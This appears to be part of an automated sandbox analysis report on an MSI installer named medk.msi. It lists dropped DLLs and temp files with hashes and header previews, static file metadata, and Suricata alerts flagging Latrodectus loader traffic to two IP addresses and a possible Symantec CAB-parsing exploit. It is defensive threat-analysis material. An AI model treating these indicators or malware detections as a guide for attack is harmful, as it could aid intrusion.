Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI8DD8.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI8E17.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI8E67.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	400974
Entropy (8bit):	6.591604107980969
Encrypted:	false
SSDEEP:	6144:YMvZx0Flyv/UB8zBQSnuJnO6n4ZSaHwLvFnNLqrFWeyp1uBxfAOT3VDqO17:YMvZx0FlS68zBQSncb4ZPQTpAjZxqO17
MD5:	69BFAE364F0238366C696EED384C7267
SHA1:	297D315A73112492E3CDD752DA82B7622FD72730
SHA-256:	26C13BEAD028EDE8A9E2D0F0DF8DCA6934405ED4F89407045D5A8C89005E6A2F
SHA-512:	F3EA5081B0923F123BD8880FF90531E3AE2B8D82A8DBB0A008704644DFCCB8182CE764FB4C461BF358AB61DCD34EB74CBE7AEC85D2AA5B6BAD4A440FA1D84A44
Malicious:	false
Preview:	...@IXOS.@.....@.bmY.@.....@.....@.....@.....@.....@......&.{5AB6B0C5-5CD6-4CF7-ABF4-4E467A0D78CE}..MiddleTown..medk.msi.@.....@C....@.....@........&.{B4021E8B-3405-4502-A951-957A46D23C96}.....@.....@.....@.....@.......@.....@.....@.......@......MiddleTown......Rollback..Rolling back action:....RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration...@.....@.....@.]....&.{B48CC27C-9823-4256-8235-834BFD2D0DBB}6.C:\Users\user\AppData\Roaming\MSER LTD\MiddleTown\.@.......@.....@.....@......&.{4A323D5F-6D73-4C26-8E39-BE8928DA13EB}(.01:\Software\MSER LTD\MiddleTown\Version.@.......@.....@.....@......&.{C38A4B2A-9F83-4A9D-8505-10020DD6ABA7}).C:\Users\user\AppData\Roaming\tab.dll.@.......@.....@.....@........CreateFolders..Creating folders..Folder: [1]".6.C:\Users\user\AppData\Roaming\MSER LTD\MiddleTown\.@........InstallFiles..Copying new files&.File: [1], Directory: [9], Size: [6]...@.....@.....@......".C:\Users\

C:\Windows\Installer\MSI8F42.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	399328
Entropy (8bit):	6.589290025452677
Encrypted:	false
SSDEEP:	6144:gMvZx0Flyv/UB8zBQSnuJnO6n4ZSaHwLvFnNLqrFWeyp1uBxfAOT3VDqO1:gMvZx0FlS68zBQSncb4ZPQTpAjZxqO1
MD5:	B9545ED17695A32FACE8C3408A6A3553
SHA1:	F6C31C9CD832AE2AEBCD88E7B2FA6803AE93FC83
SHA-256:	1E0E63B446EECF6C9781C7D1CAE1F46A3BB31654A70612F71F31538FB4F4729A
SHA-512:	F6D6DC40DCBA5FF091452D7CC257427DCB7CE2A21816B4FEC2EE249E63246B64667F5C4095220623533243103876433EF8C12C9B612C0E95FDFFFE41D1504E04
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................J......J..5.......................J......J......J..........Y..."......".q............."......Rich....................PE..L....<.a.........."......^...........2.......p....@..........................P......".....@.................................0....................................5...V..p....................X.......W..@............p.. ............................text....\.......^.................. ..`.rdata..XA...p...B...b..............@..@.data....6..........................@....rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\SourceHash{5AB6B0C5-5CD6-4CF7-ABF4-4E467A0D78CE}

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.1616295808993868
Encrypted:	false
SSDEEP:	12:JSbX72FjgAGiLIlHVRpzh/7777777777777777777777777vDHFh6Afrp01l0i8Q:JqQI53j6Afu8F
MD5:	35CBBBE24CE0DB47ABB34B773B84A3C5
SHA1:	DFD773A0513DD7A557F3E523906E59CBB1809F19
SHA-256:	1D833DEB3188B4E1F5157A437FAC11010BB8DD27E568BB326B49B0D1BC0E9C86
SHA-512:	77CEFCE6117F3EC4B91F75CCFC77BB2D737FCED21EC63E4BDD39D872D0B555ED815F0B31F1AEB748FE4952B24EFEBB2FDC8A10F46634B45460A5326CE22E7113
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\inprogressinstallinfo.ipi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5347164038953434
Encrypted:	false
SSDEEP:	48:r8PhGuRc06WXJeFT5/ZA92StAEbCys9SBToeU:ShG11FTfAobwCJZ
MD5:	DF8487306CE77B20AC6A183650D05BF3
SHA1:	5C65B32BAB350284095FAF3F5BA1215D46717FAA
SHA-256:	17609D8E1E76F37DD15364BD0B27CFB7BF258069B4406C64D977CBFA8D70F6E9
SHA-512:	10CA1BCBD3D4A6D4794DD323149FA6F12FE57AA3DB65B064C5D1630F3946708AD6C383DFA4E7BFD3D781B1C69720515F8AD48DE2950969DA6A99F3CF2261A6B2
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	360001
Entropy (8bit):	5.362993320142039
Encrypted:	false
SSDEEP:	1536:6qELG7gK+RaOOp3LCCpfmLgYI66xgFF9Sq8K6MAS2OMUHl6Gin327D22A26Kgau3:zTtbmkExhMJCIpES
MD5:	5D857E6132FB1F927D7CDEB770961986
SHA1:	983BC1F7C377DD2C68B0AD1FCF9921F945C99BFC
SHA-256:	95405CA58DFC5DB762B9A370B0CC797632E4EEC95EF6A8D91027A0AFA7FB360B
SHA-512:	85DFA77BAEB8F74EB189A139A114876EABB7F27D9E21860EECCEB4B6737574D5F299C3B64A3A47A5831B365B852117C357B26779803F5690957837D8EECA1F3A
Malicious:	false
Preview:	.To learn about increasing the verbosity of the NGen log files please see http://go.microsoft.com/fwlink/?linkid=210113..12/07/2019 14:54:22.458 [5488]: Command line: D:\wd\compilerTemp\BMT.200yuild.1bk\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe executeQueuedItems /nologo ..12/07/2019 14:54:22.473 [5488]: Executing command from offline queue: install "System.Runtime.WindowsRuntime.UI.Xaml, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=msil" /NoDependencies /queue:1..12/07/2019 14:54:22.490 [5488]: Executing command from offline queue: install "System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil" /NoDependencies /queue:3..12/07/2019 14:54:22.490 [5488]: Exclusion list entry found for System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil; it will not be installed..12/07/2019 14:54:22.490 [

C:\Windows\Temp\~DF3166D2D7A57CC204.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.232857043115419
Encrypted:	false
SSDEEP:	48:EzOu3O+CFXJfT5nZA92StAEbCys9SBToeU:eOX3TnAobwCJZ
MD5:	DFF5FB60C141A0789C0CEF8B9AC5003A
SHA1:	81203C2F6F86C1801395DB88C8076C24254F0752
SHA-256:	71BC3B148FE4407AD8A57900C4BC8590FAFB2EBFCD87925051B327BC0EF51C11
SHA-512:	536D34776A8844784C1606387316DE1763FDCBABBAB8FDAF732D66E7BD182119B973B7464EAD08D27CD0A4B15D02DD8674DB5D4D67659FF4F99C430B289954F8
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF4DA8C45DC3BE49B0.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	0.12699872131171566
Encrypted:	false
SSDEEP:	24:XIgmrlTxkjyipVkj4kjyipVkjAAEVkyjCysVgwGHGc+KV:XUrlTXS7StAEbCys9cdV
MD5:	A1CE4CA213F54A0FF7B3DACF158F2517
SHA1:	3DA5297AEF9C725EFF62D2CD8D06A64FB77F54E1
SHA-256:	A40AF882DA535E7FCA1E6553ABFF88F3A966059477E3B563078E0F1B968F923F
SHA-512:	1556C9079C460F4097FC70C8518F667D75B055477ECBF5EA22559E0F734232E38DCF6540410F73E182674175C26B31F8C15C32C4C64837631F0DE16355821D5F
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF912E814799C9CDAF.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFA5E5BD148ABA60C5.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5347164038953434
Encrypted:	false
SSDEEP:	48:r8PhGuRc06WXJeFT5/ZA92StAEbCys9SBToeU:ShG11FTfAobwCJZ
MD5:	DF8487306CE77B20AC6A183650D05BF3
SHA1:	5C65B32BAB350284095FAF3F5BA1215D46717FAA
SHA-256:	17609D8E1E76F37DD15364BD0B27CFB7BF258069B4406C64D977CBFA8D70F6E9
SHA-512:	10CA1BCBD3D4A6D4794DD323149FA6F12FE57AA3DB65B064C5D1630F3946708AD6C383DFA4E7BFD3D781B1C69720515F8AD48DE2950969DA6A99F3CF2261A6B2
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFACD0A0C1364FE83A.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFB2079EC14A68F18E.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.232857043115419
Encrypted:	false
SSDEEP:	48:EzOu3O+CFXJfT5nZA92StAEbCys9SBToeU:eOX3TnAobwCJZ
MD5:	DFF5FB60C141A0789C0CEF8B9AC5003A
SHA1:	81203C2F6F86C1801395DB88C8076C24254F0752
SHA-256:	71BC3B148FE4407AD8A57900C4BC8590FAFB2EBFCD87925051B327BC0EF51C11
SHA-512:	536D34776A8844784C1606387316DE1763FDCBABBAB8FDAF732D66E7BD182119B973B7464EAD08D27CD0A4B15D02DD8674DB5D4D67659FF4F99C430B289954F8
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFC990E71EF06BC614.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.06841213452055567
Encrypted:	false
SSDEEP:	6:2/9LG7iVCnLG7iVrKOzPLHKOhB+zAfEoVky6l0t/:2F0i8n0itFzDHFh6Afu01
MD5:	2DE69A9759A7B86DD64B57CD981F6D1D
SHA1:	8A4F79A3E2A048DC9C3AF5AAC27D105621A63E49
SHA-256:	F18F8AACCDD5D086414CEF2DB41E86F390100424A8E2F4460924AB60723D4E22
SHA-512:	61A6EC8C8E6ABB95E7E21ABCF9B2B749D1D212E4F5CB36580CC0DDC335433BD3113B741E931944BABC736603316852A100E72398D928591554C039643B9AEFC8
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFDAE0855863EEBFBF.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5347164038953434
Encrypted:	false
SSDEEP:	48:r8PhGuRc06WXJeFT5/ZA92StAEbCys9SBToeU:ShG11FTfAobwCJZ
MD5:	DF8487306CE77B20AC6A183650D05BF3
SHA1:	5C65B32BAB350284095FAF3F5BA1215D46717FAA
SHA-256:	17609D8E1E76F37DD15364BD0B27CFB7BF258069B4406C64D977CBFA8D70F6E9
SHA-512:	10CA1BCBD3D4A6D4794DD323149FA6F12FE57AA3DB65B064C5D1630F3946708AD6C383DFA4E7BFD3D781B1C69720515F8AD48DE2950969DA6A99F3CF2261A6B2
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFECA7083ED7F1D401.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFF91C25B06241A485.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFFA1812524C7E18E3.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFFF3DAD5D01C02B9C.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.232857043115419
Encrypted:	false
SSDEEP:	48:EzOu3O+CFXJfT5nZA92StAEbCys9SBToeU:eOX3TnAobwCJZ
MD5:	DFF5FB60C141A0789C0CEF8B9AC5003A
SHA1:	81203C2F6F86C1801395DB88C8076C24254F0752
SHA-256:	71BC3B148FE4407AD8A57900C4BC8590FAFB2EBFCD87925051B327BC0EF51C11
SHA-512:	536D34776A8844784C1606387316DE1763FDCBABBAB8FDAF732D66E7BD182119B973B7464EAD08D27CD0A4B15D02DD8674DB5D4D67659FF4F99C430B289954F8
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Last Printed: Fri Dec 11 11:47:44 2009, Create Time/Date: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Sep 18 15:06:51 2020, Security: 0, Code page: 1252, Revision Number: {B4021E8B-3405-4502-A951-957A46D23C96}, Number of Words: 10, Subject: MiddleTown, Author: MSER LTD, Name of Creating Application: MiddleTown, Template: ;1033, Comments: This installer database contains the logic and data required to install MiddleTown., Title: Installation Database, Keywords: Installer, MSI, Database, Number of Pages: 200
Entropy (8bit):	7.438035416775101
TrID:	Windows SDK Setup Transform Script (63028/2) 47.91% Microsoft Windows Installer (60509/1) 46.00% Generic OLE2 / Multistream Compound File (8008/1) 6.09%
File name:	medk.msi
File size:	2'131'456 bytes
MD5:	8cb04bf931a19fa0ae1bd7235180dd4a
SHA1:	dfc980a827dbde294ae9fa6e63545d1d57344e96
SHA256:	dfff1a07429ff9585f3dab9c78b501174e7c326e1fb95c5234368071b5426768
SHA512:	58f1661d689aaa9391f04e086db490693f83b70e068ca10b20cff6f87979a8804aa9f054ac961af06c4b7b17fd88b1912774b2eb3d16b9df8e7a4ed9bb3c0a29
SSDEEP:	49152:F943YhW8zBQSc0ZnSKBZKumZr7Apj3Y+7jHplNa:6YY0Zn3K/Al3dXHpra
TLSH:	69A5E12273C6C537C9AE01307A1AD66A547DFCA70B3140DBA3C8292EAD745C16739FA7
File Content Preview:	........................>...................!...................................E.......a...............................(...)...*...+...,...-...........A...B...C...D...E...F...G...H...I...J...K...L...M...N..................................................

File Icon


Icon Hash:	2d2e3797b32b2b99

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-13T18:20:20.516009+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.175.87.197	443	192.168.2.6	49754	TCP
2024-11-13T18:20:58.427119+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.175.87.197	443	192.168.2.6	49956	TCP
2024-11-13T18:21:35.289353+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49988	104.21.92.105	443	TCP
2024-11-13T18:21:35.325555+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	49988	104.21.92.105	443	TCP
2024-11-13T18:21:36.742312+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49989	104.21.15.162	443	TCP
2024-11-13T18:21:36.745751+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	49989	104.21.15.162	443	TCP
2024-11-13T18:21:39.299333+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49990	104.21.92.105	443	TCP
2024-11-13T18:21:39.300933+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	49990	104.21.92.105	443	TCP
2024-11-13T18:21:40.716651+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49991	104.21.15.162	443	TCP
2024-11-13T18:21:40.718248+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	49991	104.21.15.162	443	TCP
2024-11-13T18:21:42.395163+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49992	104.21.92.105	443	TCP
2024-11-13T18:21:42.396983+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	49992	104.21.92.105	443	TCP
2024-11-13T18:21:43.584276+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49993	104.21.15.162	443	TCP
2024-11-13T18:21:43.585814+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	49993	104.21.15.162	443	TCP
2024-11-13T18:21:45.443244+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49994	104.21.92.105	443	TCP
2024-11-13T18:21:45.444884+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	49994	104.21.92.105	443	TCP
2024-11-13T18:21:47.397878+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49995	104.21.15.162	443	TCP
2024-11-13T18:21:47.399255+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	49995	104.21.15.162	443	TCP
2024-11-13T18:21:48.622876+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49996	104.21.92.105	443	TCP
2024-11-13T18:21:48.624530+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	49996	104.21.92.105	443	TCP
2024-11-13T18:21:50.027586+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49997	104.21.15.162	443	TCP
2024-11-13T18:21:50.029215+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	49997	104.21.15.162	443	TCP
2024-11-13T18:21:51.751655+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49998	104.21.92.105	443	TCP
2024-11-13T18:21:51.753617+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	49998	104.21.92.105	443	TCP
2024-11-13T18:21:54.029296+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49999	104.21.15.162	443	TCP
2024-11-13T18:21:55.239147+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50000	104.21.92.105	443	TCP
2024-11-13T18:21:55.240793+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50000	104.21.92.105	443	TCP
2024-11-13T18:21:56.848285+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50001	104.21.15.162	443	TCP
2024-11-13T18:21:56.851903+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50001	104.21.15.162	443	TCP
2024-11-13T18:21:58.482924+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50003	104.21.92.105	443	TCP
2024-11-13T18:21:58.484908+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50003	104.21.92.105	443	TCP
2024-11-13T18:21:59.983991+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50004	104.21.15.162	443	TCP
2024-11-13T18:21:59.985634+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50004	104.21.15.162	443	TCP
2024-11-13T18:22:00.966575+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50005	104.21.92.105	443	TCP
2024-11-13T18:22:00.968674+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50005	104.21.92.105	443	TCP
2024-11-13T18:22:01.861079+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50006	104.21.15.162	443	TCP
2024-11-13T18:22:01.880801+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50006	104.21.15.162	443	TCP
2024-11-13T18:22:02.912371+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50007	104.21.92.105	443	TCP
2024-11-13T18:22:02.913859+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50007	104.21.92.105	443	TCP
2024-11-13T18:22:04.419792+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50008	104.21.15.162	443	TCP
2024-11-13T18:22:04.427996+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50008	104.21.15.162	443	TCP
2024-11-13T18:22:06.671027+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50010	104.21.92.105	443	TCP
2024-11-13T18:22:06.697900+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50010	104.21.92.105	443	TCP
2024-11-13T18:22:08.316987+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50011	104.21.15.162	443	TCP
2024-11-13T18:22:08.318470+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50011	104.21.15.162	443	TCP
